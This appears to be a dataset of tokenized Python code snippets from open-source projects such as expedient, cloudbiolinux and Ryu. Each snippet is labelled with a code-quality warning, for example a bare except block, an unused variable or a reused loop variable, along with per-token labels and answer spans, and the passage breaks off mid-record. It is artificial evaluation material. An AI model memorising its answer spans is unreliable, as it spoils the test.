[ "[CLS]_", "Test", "ing_", "equality", "_", "to_", "None_", "[SEP]_", "class_", "Test", "User_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "username_", "=_", "None_", ",_", "anonym", "ous", "\\u", "visitor_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "verifie", "d\\u", "human_", "=_", "True_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "anonym", "ous", "\\u", "visitor_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "anonym", "ous", "\\u", "id_", "=_", "anonym", "ous", "\\u", "visitor_", "._", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "anonym", "ous", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "username_", "==_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "user_", ",_", "created_", "=_", "User_", "._", "objects_", "._", "get", "\\u", "or", "\\u", "create_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "username_", "=_", "username_", ",_", "email_", "=_", "\"%", "s", "@", "example", ".", "com", "\"_", "%_", "username_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "user_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "verifie", "d\\u", "human_", "=_", "verifie", "d\\u", "human_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "session_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "temporar", "y", "\\u", "enrollment", "s_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "User_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "is", "\\u", "anonymous_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "user_", "==_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 2 ]
Except block handles 'BaseException'
fp7-ofelia/ocf/expedient/src/python/expedient/clearinghouse/aggregate/models.py
[ { "content": " def remove_from_project(self, project, next):\n \"\"\"\n Similar to L{add_to_project} but does the reverse, deleting the\n permission from the project using::\n \n from expedient.common.permissions.shortcuts import \\\n delete_permission\n \n delete_permission(\"can_use_aggregate\", self.as_leaf_class(), project)\n \n and then redirecting to C{next}. Additionally, if not overridden,\n this function stops all slices in the project before removing the\n aggregate. Subclasses should also stop slices.\n \"\"\"\n must_have_permission(\"user\", self.as_leaf_class(), \"can_use_aggregate\")\n \n prefix = self.__class__.get_url_name_prefix()\n try:\n return reverse(\"%s_aggregate_project_remove\" % prefix,\n kwargs={'agg_id': self.id,\n 'proj_id': project.id})+\"?next=%s\" % next\n except NoReverseMatch:\n # Stop all the slices in the project for this aggregate.\n for slice in project.slice_set.all():\n try:\n self.as_leaf_class().stop_slice(slice)\n except:\n pass\n # Carolina: remove permision for aggregate in every slice inside the project\n self.remove_from_slice(slice, next)\n delete_permission(\"can_use_aggregate\", self.as_leaf_class(), project)\n return next", "metadata": "root.Aggregate.remove_from_project", "header": "['class', 'Aggregate', '(', 'Extendable', ')', ':', '___EOS___']", "index": 217 }, { "content": " def remove_from_slice(self, slice, next):\n \"\"\"\n Works exactly the same as L{remove_from_project} but for a slice.\n It stops the slice if not overridden. Subclasses should stop the\n slice before removing the permission.\n \"\"\"\n must_have_permission(\"user\", self.as_leaf_class(), \"can_use_aggregate\")\n must_have_permission(\"project\", self.as_leaf_class(), \"can_use_aggregate\")\n\n prefix = self.__class__.get_url_name_prefix()\n try:\n return reverse(\"%s_aggregate_slice_remove\" % prefix,\n kwargs={'agg_id': self.id,\n 'slice_id': slice.id})+\"?next=%s\" % next\n except NoReverseMatch:\n try:\n self.as_leaf_class().stop_slice(slice)\n except:\n pass\n delete_permission(\"can_use_aggregate\", self.as_leaf_class(), slice)\n return next", "metadata": "root.Aggregate.remove_from_slice", "header": "['class', 'Aggregate', '(', 'Extendable', ')', ':', '___EOS___']", "index": 283 } ]
[ { "span": "except:", "start_line": 243, "start_column": 16, "end_line": 243, "end_column": 23 }, { "span": "except:", "start_line": 300, "start_column": 12, "end_line": 300, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "Aggregate", "_", "(_", "Extend", "able_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "from", "\\u", "project_", "(_", "self_", ",_", "project_", ",_", "next_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Simil", "ar", " ", "to", " ", "L", "{", "add", "\\u", "to", "\\u", "project", "}", " ", "but", " ", "doe", "s", " ", "the", " ", "reverse", ",", " ", "delet", "ing", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "permissi", "on", " ", "from", " ", "the", " ", "project", " ", "usi", "ng", "::", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "from", " ", "expe", "die", "nt", ".", "common", ".", "permissi", "ons", ".", "shortcut", "s", " ", "import", " ", "\\\\", "\\", "10", ";", " ", " ", " ", " ", "delete", "\\u", "permissi", "on", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "delete", "\\u", "permissi", "on", "(\"", "can", "\\u", "use", "\\u", "aggre", "gate", "\",", " ", "self", ".", "as", "\\u", "leaf", "\\u", "class", "()", ",", " ", "project", ")", "\\", "10", ";", " ", " ", " ", " ", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "then", " ", "redirec", "ting", " ", "to", " ", "C", "{", "next", "}.", " ", "Addition", "ally", ",", " ", "if", " ", "not", " ", "overrid", "den", ",", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "function", " ", "stop", "s", " ", "all", " ", "slice", "s", " ", "in", " ", "the", " ", "project", " ", "bef", "ore", " ", "remo", "ving", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "aggre", "gate", ".", " ", "Subc", "lasse", "s", " ", "shou", "ld", " ", "als", "o", " ", "stop", " ", "slice", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "must", "\\u", "have", "\\u", "permission_", "(_", "\"", "user", "\"_", ",_", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", ",_", "\"", "can", "\\u", "use", "\\u", "aggre", "gate", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prefix_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "get", "\\u", "url", "\\u", "name", "\\u", "prefix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "reverse_", "(_", "\"%", "s", "\\u", "aggre", "gate", "\\u", "project", "\\u", "remove", "\"_", "%_", "prefix_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "=_", "{_", "'", "agg", "\\u", "id", "'_", ":_", "self_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "proj", "\\u", "id", "'_", ":_", "project_", "._", "id_", "}_", ")_", "+_", "\"?", "next", "=", "%", "s", "\"_", "%_", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "No", "Revers", "e", "Match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Sto", "p", " ", "all", " ", "the", " ", "slice", "s", " ", "in", " ", "the", " ", "project", " ", "for", " ", "this", " ", "aggre", "gate", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "slice_", "in_", "project_", "._", "slice", "\\u", "set_", "._", "all_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", "._", "stop", "\\u", "slice_", "(_", "slice_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Carol", "ina", ":", " ", "remove", " ", "permi", "sion", " ", "for", " ", "aggre", "gate", " ", "in", " ", "every", " ", "slice", " ", "insi", "de", " ", "the", " ", "project_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "remove", "\\u", "from", "\\u", "slice_", "(_", "slice_", ",_", "next_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "delete", "\\u", "permission_", "(_", "\"", "can", "\\u", "use", "\\u", "aggre", "gate", "\"_", ",_", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", ",_", "project_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Aggregate", "_", "(_", "Extend", "able_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "remove", "\\u", "from", "\\u", "slice_", "(_", "self_", ",_", "slice_", ",_", "next_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Works", " ", "exact", "ly", " ", "the", " ", "same", " ", "as", " ", "L", "{", "remove", "\\u", "from", "\\u", "project", "}", " ", "but", " ", "for", " ", "a", " ", "slice", ".", "\\", "10", ";", " ", " ", " ", " ", "It", " ", "stop", "s", " ", "the", " ", "slice", " ", "if", " ", "not", " ", "overrid", "den", ".", " ", "Subc", "lasse", "s", " ", "shou", "ld", " ", "stop", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "slice", " ", "bef", "ore", " ", "remo", "ving", " ", "the", " ", "permissi", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "must", "\\u", "have", "\\u", "permission_", "(_", "\"", "user", "\"_", ",_", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", ",_", "\"", "can", "\\u", "use", "\\u", "aggre", "gate", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "must", "\\u", "have", "\\u", "permission_", "(_", "\"", "project", "\"_", ",_", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", ",_", "\"", "can", "\\u", "use", "\\u", "aggre", "gate", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "prefix_", "=_", "self_", "._", "\\u\\u", "class\\u\\u_", "._", "get", "\\u", "url", "\\u", "name", "\\u", "prefix_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "reverse_", "(_", "\"%", "s", "\\u", "aggre", "gate", "\\u", "slice", "\\u", "remove", "\"_", "%_", "prefix_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "kwargs_", "=_", "{_", "'", "agg", "\\u", "id", "'_", ":_", "self_", "._", "id_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "slice", "\\u", "id", "'_", ":_", "slice_", "._", "id_", "}_", ")_", "+_", "\"?", "next", "=", "%", "s", "\"_", "%_", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "No", "Revers", "e", "Match_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", "._", "stop", "\\u", "slice_", "(_", "slice_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "delete", "\\u", "permission_", "(_", "\"", "can", "\\u", "use", "\\u", "aggre", "gate", "\"_", ",_", "self_", "._", "as", "\\u", "leaf", "\\u", "class_", "(_", ")_", ",_", "slice_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "next_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
chapmanb/cloudbiolinux/cloudbio/deploy/plugins/cloudman.py
[ { "content": "def __get_bucket_default(options):\n cloudman_options = options.get(\"cloudman\", {})\n user_data = cloudman_options = cloudman_options.get('user_data', None) or {}\n bucket = user_data.get(\"bucket_default\", None)\n return bucket", "metadata": "root.__get_bucket_default", "header": "['module', '___EOS___']", "index": 125 } ]
[ { "span": "cloudman_options ", "start_line": 127, "start_column": 16, "end_line": 127, "end_column": 32 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "get", "\\u", "bucket", "\\u", "default_", "(_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "cloud", "man", "\\u", "options_", "=_", "options_", "._", "get_", "(_", "\"", "cloud", "man", "\"_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "data_", "=_", "cloud", "man", "\\u", "options_", "=_", "cloud", "man", "\\u", "options_", "._", "get_", "(_", "'", "user", "\\u", "data", "'_", ",_", "None_", ")_", "or_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "bucket_", "=_", "user", "\\u", "data_", "._", "get_", "(_", "\"", "bucket", "\\u", "default", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "bucket_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Nested loops with same variable
osrg/ryu/ryu/tests/unit/ofproto/test_parser_ofpstats.py
[ { "content": "def _add_tests():\n import functools\n import itertools\n\n class Field(object):\n pass\n\n class Int1(Field):\n @staticmethod\n def generate():\n yield 0\n yield 0xff\n\n class Int2(Field):\n @staticmethod\n def generate():\n yield 0\n yield 0x1234\n yield 0xffff\n\n class Int3(Field):\n @staticmethod\n def generate():\n yield 0\n yield 0x123456\n yield 0xffffff\n\n class Int4(Field):\n @staticmethod\n def generate():\n yield 0\n yield 0x12345678\n yield 0xffffffff\n\n class Int4double(Field):\n @staticmethod\n def generate():\n # Note: If yield value as a tuple, flatten_one() will reduce it\n # into a single value. So the followings avoid this problem by\n # using a list value.\n yield [0, 1]\n yield [0x12345678, 0x23456789]\n yield [0xffffffff, 0xfffffffe]\n\n class Int8(Field):\n @staticmethod\n def generate():\n yield 0\n yield 0x123456789abcdef0\n yield 0xffffffffffffffff\n\n class Mac(Field):\n @staticmethod\n def generate():\n yield '00:00:00:00:00:00'\n yield 'f2:0b:a4:7d:f8:ea'\n yield 'ff:ff:ff:ff:ff:ff'\n\n class IPv4(Field):\n @staticmethod\n def generate():\n yield '0.0.0.0'\n yield '192.0.2.1'\n yield '255.255.255.255'\n\n class IPv6(Field):\n @staticmethod\n def generate():\n yield '::'\n yield 'fe80::f00b:a4ff:fed0:3f70'\n yield 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'\n\n class B64(Field):\n @staticmethod\n def generate():\n yield 'aG9nZWhvZ2U='\n yield 'ZnVnYWZ1Z2E='\n\n ofpps = [ofproto_v1_5_parser]\n common = [\n ('duration', Int4double),\n ('idle_time', Int4double),\n ('flow_count', Int4),\n ('packet_count', Int8),\n ('byte_count', Int8),\n ('field_100', B64),\n ]\n L = {}\n L[ofproto_v1_5_parser] = common\n\n def flatten_one(l, i):\n if isinstance(i, tuple):\n return l + flatten(i)\n else:\n return l + [i]\n flatten = lambda l: reduce(flatten_one, l, [])\n\n for ofpp in ofpps:\n for n in range(1, 3):\n for C in itertools.combinations(L[ofpp], n):\n l = [1]\n keys = []\n clss = []\n for (k, cls) in C:\n l = itertools.product(l, cls.generate())\n keys.append(k)\n clss.append(cls)\n l = [flatten(x)[1:] for x in l]\n for values in l:\n d = dict(zip(keys, values))\n for n, uv in d.items():\n if isinstance(uv, list):\n # XXX\n # OFPStats returns value as tuple when field is\n # 'duration' or 'idle_time'. Then convert list\n # value into tuple here.\n d[n] = tuple(uv)\n mod = ofpp.__name__.split('.')[-1]\n method_name = 'test_' + mod\n for k in sorted(dict(d).keys()):\n method_name += '_' + str(k)\n method_name += '_' + str(d[k])\n method_name = method_name.replace(':', '_')\n method_name = method_name.replace('.', '_')\n method_name = method_name.replace('(', '_')\n method_name = method_name.replace(')', '_')\n method_name = method_name.replace(',', '_')\n method_name = method_name.replace(\"'\", '_')\n method_name = method_name.replace(' ', '_')\n\n def _run(self, name, ofpp, d):\n print('processing %s ...' % name)\n if six.PY3:\n self._test(self, name, ofpp, d)\n else:\n self._test(name, ofpp, d)\n print('adding %s ...' % method_name)\n f = functools.partial(_run, name=method_name,\n ofpp=ofpp, d=d)\n test_lib.add_method(Test_Parser_OFPStats,\n method_name, f)", "metadata": "root._add_tests", "header": "['module', '___EOS___']", "index": 64 } ]
[ { "span": "for n, uv in d.items():", "start_line": 174, "start_column": 20, "end_line": 174, "end_column": 43 } ]
[ { "span": "for n in range(1, 3):", "start_line": 162, "start_column": 8, "end_line": 162, "end_column": 29 } ]
1
true
[ "[CLS]_", "Nest", "ed_", "loops_", "with_", "same_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "add", "\\u", "tests_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "import_", "functools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "itertools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Field_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int", "1_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0xff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int", "2_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0x12", "34_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0xffff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int", "3_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0x12", "3456", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0xfff", "fff", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int", "4_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "yield_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0x12", "3456", "78_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "0xffffffff_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Int", "4d", "ou", "ble_", "(_", "Field_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "generate_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Not", "e", ":", " ", "If", " ", "yield", " ", "value", " ", "as", " ", "a", " ", "tuple", ",", " ", "flat", "ten", "\\u", "one", "()", " ", "will", " ", "reduce", " ", "it_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "int", "o", " ", "a", " ", "single", " ", "value", ".", " ", "So", " ", "the", " ", "follow", "ings", " ", "avoid", " ", "this", " ", "problem", " ", "by_", 